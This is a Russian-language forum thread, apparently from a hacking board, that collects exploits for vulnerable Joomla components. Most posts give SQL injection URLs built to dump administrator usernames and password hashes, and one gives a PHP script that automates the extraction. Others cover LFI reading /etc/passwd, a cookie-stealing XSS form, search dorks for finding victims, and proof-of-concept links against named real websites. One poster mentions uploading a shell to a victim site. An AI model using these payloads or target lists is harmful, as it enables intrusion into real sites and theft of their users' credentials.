Joomla com_hbstopdestinations SQL-inj Joomla com_hbstopdestinations SQL-inj vuln Этот компоненты специально для отелей, не очень популярен... Exploit: index.php?option=com_hbstopdestinations&task=details&h_id=-50+union+select+1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9--&cId=&sId=&cityId=&f_date=&t_date= POC: http://zambiatourismnews.com/index.php?option=com_hbstopdestinations&task=details&h_id=-50+union+select+1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9--&cId=&sId=&cityId=&f_date=&t_date= Код не покажу, так как не залился)
com_tweetports SQL-Injection (1.5 && 1.6) tweetports.helper.php PHP: ... function existLocationName($name) { $db =& JFactory::getDBO(); $query = "SELECT id FROM #__tweetports_geocodes WHERE location = '".$name."'"; $db->setQuery($query); $addressID = $db->loadResult(); return $addressID; } ... function existAddress($address) { $db =& JFactory::getDBO(); $query = "SELECT id FROM #__tweetports_geocodes WHERE address = '".$address."'"; $db->setQuery($query); $addressID = $db->loadResult(); return $addressID; } .... locations.php PHP: class TweetportsModelLocations extends JModel { .... function saveLocation () { if (isset($_POST['Submit']) && $_POST['Submit'] == "Save") { $nameID = TweetportsHelper::existLocationName($_POST['locationname']); $addressID = TweetportsHelper::existAddress($_POST['locationaddress']); $hashtagID = TweetportsHelper::existHashtag($_POST['locationhashtag']); if ($addressID > 0) { $notice = "Address already exists! Please try another port."; } else if ($hashtagID > 0) { $notice = "Hashtag already exists! Please try another Hashtag."; } else if ($nameID > 0) { $notice = "Location Name already exists! Please try another Hashtag."; } else { TweetportsHelper::addLocation($_POST['locationname'], $_POST['locationaddress'], $_POST['locationhashtag']); $notice = JText::_("LOCATION THANKS"); } } return $notice; } .... } exploit: PHP: <?php <?php $sock = fsockopen("www.j15.com", 443, $errno, $errstr, 30); if (!$sock) die("$errstr ($errno)\n"); $data = "locationname=" . urlencode("antichat+union+select+group_concat(username,0x3a,password+SEPARATOR+0x3c62723e)+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72") . "&locationaddress=Russian&locationhashtag=Federation"; fwrite($sock, "POST /index.php HTTP/1.1\r\n"); fwrite($sock, "Host: j15.com\r\n"); fwrite($sock, "Content-type: application/x-www-form-urlencoded\r\n"); fwrite($sock, "Content-length: " . strlen($data) . "\r\n"); fwrite($sock, "Accept: */*\r\n"); fwrite($sock, "\r\n"); fwrite($sock, "$data\r\n"); fwrite($sock, "\r\n"); $body = ""; while (!feof($sock)) $body .= fgets($sock, 4096); preg_match_all("/.*?:\w{32}:\w{10,40}/i", $body, $hash); if ($hash[0]) print_r($hash[0]); fclose($sock); ?> com_mediaideamultilist sql-inj (1.5&1.6) [p.s. мож уже начнем версии двига писать(под которые компонент или модуль заточен)?!] vulner files dbfuncs.php & standardlist & helpers.php PHP: не влезли зато exploit безотказен PHP: index.php?option=com_mediaideamultilist&controller=helpers&format=raw&task=getField&tarId= -666+UNION+SELECT+1,2,3,4,5,6,7,8, group_concat(username,0x3a,password+SEPARATOR+0x3c62723e), 10,11,12,13,14,15,16+from+jos_users+where+ usertype=0x53757065722041646D696E6973747261746F72--
Joomla 1.5 com_virtuemart <= 1.1.7 Blind time-based SQL Injection (MSF) Joomla 1.5 com_virtuemart <= 1.1.7 Blind time-based SQL Injection (MSF)
XSS vulnerability in JComments Уязвимые верси: 2.1.0.0 [07/08/2009] и, возможно, ранние Уведомление JoomlaTune.com: 4 Июня 2011 Тип уязвимости: XSS Статус: исправлено JoomlaTune.com Степень опасности: Средний Детали уязвимости: пользователь может выполнить произвольный JS код в уязвимом приложении. Уязвимость возникает из-за неправильной идентификации пользователя в "admin.jcomments.php". Успешное проведение атаки с помощью данной уязвимости может привести к потере конфиденциальных данных и краже идентификационной информации в виде куков. Атакующий может использовать браузер для проведения атаки: Код: <form method="POST" action="http://joomla/administrator/index.php" name="main"> <input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="comment" value="comment text"> <input type="hidden" name="published" value="1"> <input type="hidden" name="option" value="com_jcomments"> <input type="hidden" name="id" value="1"> <input type="hidden" name="task" value="save"> </form> <script> document.main.submit(); </script> Решение: обновление к более поздней версии
Понеслась... 1 :: com_messaging :: SQL-inj && v1.5 com_messaging.php PHP: ... require_once( dirname(__FILE__).DS.'helper.php' ); ... $params['id'] = $_GET['mesuid']; ... $messages = modMessagingHelper::getMessaging( $params ); ... helper.php PHP: <?php class modMessagingHelper { function getMessaging( $params ) { $user = $params; if($user->guest){ return -1; }else{ $query = " SELECT * FROM #__messaging WHERE idTo='{$user['id']}' AND seen=0 ORDER BY date DESC"; $_db = &JFactory::getDBO(); $_db->setQuery( $query ); $data = $_db->loadObjectList(); return sizeof($data); } } } ?> exploit: PHP: http://j15/index.php?option=com_messaging&view=message&mesuid=-666++union+select+1,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),3,4,5,6,7,8,9+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72-- 2 :: com_azcontentlist :: SQL-inj && v1.5 azcontentlist.php PHP: ... $date = new JDate(); $now = $date->toMySQL(); $database =& JFactory::getDBO(); $nullDate = $database->getNullDate(); $database->setQuery("SELECT c.title AS title, c.id, c.catid, c.sectionid, cc.title AS category, s.title AS section FROM #__content AS c" . ' LEFT JOIN #__categories AS cc ON cc.id = c.catid' . ' LEFT JOIN #__sections AS s ON s.id = c.sectionid' . " WHERE c.access = 0 AND c.state = 1" . ' AND cc.access = 0' . ' AND s.access = 0' . " AND ( publish_up = " . $_GET['date'] . " OR publish_up <= " . $database->Quote( $now ) . " )" . " ORDER BY title" ); $results = $database->loadAssocList(); echo '<p class="componentheading">A-Z Site Map</p>'; echo '<ul>'; foreach($results as $result) { //$app =& JFactory::getApplication(); //$Itemid = $app->getItemid( $result['id'] ); ... exploit: PHP: http://j15/index.php?option=com_azcontentlist&view=title&cat=3&date=-666++union+select+1,2,3,4,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),6,7+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72-- 3 :: Jootags component :: SQL-inj && v1.5 tags.php PHP: ... function getTagByTitle($title) { $query = ' SELECT t.id ' . ' FROM #__jootags_tags AS t ' . " WHERE t.title='$title'"; $this->_db->setQuery($query); return $this->_db->LoadResult(); } ... controller.php PHP: ... $document =& JFactory::getDocument(); $viewType = $document->getType(); $viewName = JRequest::getCmd( 'view', $this->getName() ); $viewLayout = JRequest::getCmd( 'layout', 'default' ); $params = JComponentHelper::getParams('com_jootags');; $view = & $this->getView( $viewName, $viewType, '', array( 'base_path'=>$this->_basePath)); if ($model = & $this->getModel('tags')) { $view->setModel($model, true); } =====>>>> list($tag_id, $tag_title) = $model->getTagByTitle($_GET['tag']); $items = null; if ($tag_id) { $items = $model->getData($tag_id, $limitstart, $limit); $document->setTitle($tag_title); } else { $document->setTitle(JText::_('Tags')); } $view->setLayout($viewLayout); $view->display($items, $params); ... exploit: PHP: http://j15/index.php?option=com_jootags&itemid=8&view=model&tag=-666++union+select+1,2,3,4,5,6,7,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),9,10,11,12+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72-- Достаем url ресурса из БД. Кто знает - поймет. Ох сколько я мучался найдя таблицы джумлы в базе, на которую ссылается, к примеру, какой-нибудь wp'шный сайт. И как всегда - ответ перед носом! SELECT link FROM jos_menu WHERE alias = adminlink [version 1.5] На выходе увидите урл админки, конечно же с текущим ресурсом! p.s. z0mbyak, если ты это знал и не запостил где-нить...ц...на сколько ж я ресурсов забил из-за этого...ты бы знал... ============ UPDATE #1 Такс...то что выше - это для версии 1.5 SELECT link FROM jos_menu WHERE title = admin [version 1.6] ============ UPDATE #2 (метод для всех веток) Code: SELECT name FROM u158069.joomla_menu LIMIT 0,1 (а) SELECT link FROM u158069.joomla_menu LIMIT 0,1 (b) Code: dork: inurl:b intext:a
com_email-directory SQL-inj [1.5 && 1.6] image.php PHP: if (isset($_GET['id']) && ($_GET['id'] > 0)) { // formula string $id = $_GET['id']; $link = mysql_connect($mosConfig_host, $mosConfig_user, $mosConfig_password) or die ("Could not connect"); mysql_select_db ($mosConfig_db) or die ("Could not select database"); $query = "SELECT email FROM {$mosConfig_dbprefix}emails_list WHERE id='$id'"; $result = mysql_query($query) or die("MySQL query: ".$query." failed with error: ".mysql_error()); $row = mysql_fetch_object($result); $string = $row->email; } else { $string = ""; } ... exploit: Code: http://j15/index.php?option=com_emaildirectory&nshow=image&view=photos&id=-666++union+select+group_concat(username,0x3a,password+SEPARATOR+0x3c62723e)+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72-- com_eventsmailer SQL-inj in LIMIT [1.5] simpleshow.php PHP: ... function getAdminSettings() { $database =& JFactory::getDBO(); $query = "SELECT * FROM #__eventsmailer LIMIT $_GET['max']"; $database->setQuery( $query ); $res = $database->loadObjectList(); $settings = array(); foreach($res[0] as $key => $value) { $settings[$key] = $value; } return $settings; } ... exploit: Code: http://j15/index.php?option=com_eventsmailer&view=events&max=-666666666++union+select+1,2,3,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),5,6,7+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72-- com_greetbox SQL-inj in LIMIT [1.5 && 1.6] funcs.php PHP: ... $db =& JFactory::getDBO(); $component_params = JComponentHelper::getParams('com_greetbox'); $greeting = $component_params->get('default_greeting'); $fromsite = $_SERVER['HTTP_REFERER']; $query = "select * from #__greetbox LIMIT $_GET['mva'l]"; $db->setQuery($query); $myrows = $db->loadObjectList(); foreach($myrows as $myrow){ $pattern = preg_quote($myrow->pattern, '/'); if(preg_match("/$pattern/", $fromsite)){ $greeting = $myrow->greeting; break; } } ... exploit: Code: http://j15/index.php?option=com_greetbox&view=boxes&mval=-999999999+union+select+1,2,3,4,5,group_concat(username,0x3a,password+SEPARATOR+0x3c62723e),7,8,9+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72--
http://www.exploit-db.com/exploits/16992/ кто подскажет как пользоваться этим? если можно более детально, ... С Уважением Силверан...
Code: http://site/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=(select(max(1))from(mysql.user)group+by(concat(version(),0x00,floor(rand(0)*2))))--+&filter_order_Dir=2&limit=3&limitstart=4
com_amdownloader sql-inj vurnel.param: pathid Code: http://adatmagus.hu/jm/index.php?option=com_amdownloader&task=showfiles&[COLOR=Red][B]pathid=-8 UNION SELECT 1,2,group_concat(username,0x3a,password separator 0x3c62723e),4 from jos_users -- [/B][/COLOR]
Blind SQL Injection в Joomla <= Все версии Уязвимость в встроенном компоненте "blog calendar". (Он вроде встроенный..) Exploit: Code: http://www.site.ru/component/blog_calendar/?year=xxxx&month=xx&modid=xx Уязвимый параметр: modid Example: True False ----------------------------------------------------------- (c) By Osstudio & Er9j6@. З.Ы С новым годом!
Нет, не встроенный. Уязвимый код(вроде) в view.html.php PHP: ... if($modid){ //if the component is called from the a Blog Calendar module, load the parameters of that module $query = 'SELECT params' . ' FROM #__modules' . ' WHERE id = ' . $modid; ... Dork: inurl:component/blog_calendar/ P.S. FALSE Code: http://meirbruk.net/en/component/blog_calendar/?year=2011&month=09&modid=250+union+select+1,2--+f TRUE Code: http://meirbruk.net/en/component/blog_calendar/?year=2011&month=09&modid=250+union+select+1--+f Увидев это попробовал error-based, как ни странно, пашет все: Code: http://meirbruk.net/en/component/blog_calendar/?year=2011&month=09&modid=250+and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)-- Результат: Code: Duplicate entry 'COLLATIONS1' for key Вывод, если включен дебаг, то можно обойтись без blind. Сейчас залью шелл и посмотрю версию на сайте выше... UPD. При error-based, как известно, выводится 64 символов. А в joomla hash:salt имеет длину в 65 символов Вот такая ирония, юзайте blind...
Можно вырезать подстроку, если поле > 64 символов, функциями substring(), mid(). Пример: Достаем логин и хеш Code: Post _ttp://meirbruk.net/en/component/blog_calendar/?year=2011&month=09 Http/1.0 modid=(@:=1)or@+group+by+concat((select+concat(username,0x3a,mid(password,1,33))+from+jos_users+limit+0,1),0x00,@:=!@)having@||min(0)--+ достаем соль Code: modid=(@:=1)or@+group+by+concat((select+mid(password,33,33)+from+jos_users+limit+0,1),0x00,@:=!@)having@||min(0)--+
LFI Во многих компонентах Joomla в параметре controller обнаружена LFI-уязвимость. Список уязвимых компонентов: Code: com_bca-rss-syndicator com_ccnewsletter com_ckforms com_cvmaker com_datafeeds com_dioneformwizard com_dwgraphs com_fabrik com_gadgetfactory com_ganalytics com_gcalendar com_hsconfig com_if_surfalert com_janews com_jfeedback com_joomlapicasa2 com_joomlaupdater com_joommail com_jshopping com_juliaportfolio com_jvehicles com_jwhmcs com_linkr com_mediqna com_mmsblog com_mscomment com_mtfireeagle com_ninjarsssyndicator com_onlineexam com_orgchart com_pcchess com_properties com_rokdownloads com_rpx com_s5clanroster com_sbsfile com_sectionex com_shoutbox com_simpledownload com_smestorage com_spsnewsletter com_svmap com_sweetykeeper com_userstatus com_webeecomment com_weberpcustomer com_zimbcomment Эксплуатация: Code: http://site/index.php?option=имя_компонента&controller=../../etc/passwd%00 Dork: inurl:index.php?option=имя_компонента Источник P.S. В нете по чуть-чуть выкладивали вроде.
com_aquiz Blind SQL Injection в Joomla Уязвимость в компоненте для тестов "com_aquiz". Exploit: Code: http://site.ru/index.php?option=com_aquiz&task=take&quizid=1885+and+/*!mid(version(),1,1)=5*/+--+ Уязвимый параметр: quizid Example: ----------------------------------------------------------- (c) By winstrool
Joomla "com_as" component SQL Injection Уязвим параметр prodid, что позволяет провести SQL-injection. Эксплyатация: Code: http://site.ltd/index.php?option=com_as&as=200&page=1&prodid=-5+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19--+f Код: PHP: $query = "SELECT " . $select . "\n FROM " . $from . "\n WHERE id = ".$var[0]->prod_id; PoC: Code: http://www.hawa-verpackung.de/index.php?option=com_as&as=200&page=1&prodid=-5+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19--+f © Ereee
Joomla "com_dir" component SQL Injection Уязвим параметр id, что позволяет провести SQL-injection. Уязвимый код не смотрел, так как хэш не расшифровал. Скоро выложу. Эксплyатация: Code: http://site.ltd/index.php?option=com_dir&task=show&id=-381+union+select+1,version(),3,database(),user(),concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+limit+0,1--+f PoC: Code: http://quicaqui.com/index.php?option=com_dir&task=show&id=-381+union+select+1,version(),3,database(),user(),concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+limit+0,1--+f © Ereee
com_as_shop MySQL Injection в Joomla Уязвимость в модуле "com_as_shop". Exploit: Code: http://site.ru/index.php?option=com_as_shop&cmd=gbc&id=-1+union+select+1,concat(username,0x3a,password,0x3a,usertype),3+from+jos_users+--+ Уязвимый параметр: id Example: Уязвимые места в коде: components/com_as_shop/controllers/goods.php PHP: function getGNameById($id) { /// Joomla ver28.10.2010 $this->db =& JFactory::getDBO();; $sSQL ="SELECT * FROM `#__as_goods` WHERE `id` =".$id; $rs = $this->db->setQuery($sSQL); $rw = $this->db->loadObjectList(); $rw = $rw[0]; return $rw->name; } function getGArticleById($id) { /// Joomla ver28.10.2010 $this->db =& JFactory::getDBO();; $sSQL ="SELECT * FROM `#__as_goods` WHERE `id` =".$id; $rs = $this->db->setQuery($sSQL); $rw = $this->db->loadObjectList(); $rw = $rw[0]; return $rw->article; } function getGPriceById($id) { /// Joomla ver28.10.2010 $this->db =& JFactory::getDBO();; $sSQL ="SELECT * FROM `#__as_goods` WHERE `id` =".$id; $rs = $this->db->setQuery($sSQL); $rw = $this->db->loadObjectList(); $rw = $rw[0]; return $rw->price; } как видем версия компанента датирована от 28.10.2010 ----------------------------------------------------------- (c) By winstrool
Joomla "com_msg" component SQL Injection Уязвим параметр Itemid, что позволяет провести SQL-injection. Не путать этот модуль с модулем обратной связи. Эксплyатация: Code: http://site.ltd/index.php?option=com_msg&view=inhalte&Itemid=-15+union+select+version()--+g Открываем исходный код страницы, видим: Code: wechsel("[COLOR=Lime]5.1.49-3~bpo50+1-log[/COLOR]"); PoC: Code: http://www.msg-wintergaerten.de/index.php?option=com_msg&view=inhalte&Itemid=-15+union+select+version()--+g © Ereee
Joomla "com_vid" component SQL Injection Уязвим параметр id, что позволяет провести SQL-injection. Эксплyатация: Code: http://site.ltd/index.php?option=com_vid&Itemid=60§ion=video&id_catigor=1&id=-1+union+select+1,2,version(),database(),5,6,7--+f PoC: Code: http://sasha-shmel.ru/index.php?option=com_vid&Itemid=60§ion=video&id_catigor=1&id=-1+union+select+1,2,version(),database(),5,6,7--+f --- Joomla "com_club" component SQL Injection Уязвим параметр clubid, что позволяет провести SQL-injection. Dork: Code: inurl:"?option=com_club" Результатов: примерно 21 000, страница 4 (0,30 сек.) Эксплyатация: Code: http://site.ltd/index.php?option=com_club&task=detail&clubid=-70002+union+select+version(),database(),3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--+f PoC: Code: http://vbl.badmintonliga.be/index.php?option=com_club&task=detail&clubid=-70002+union+select+version(),database(),3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--+f © Ereee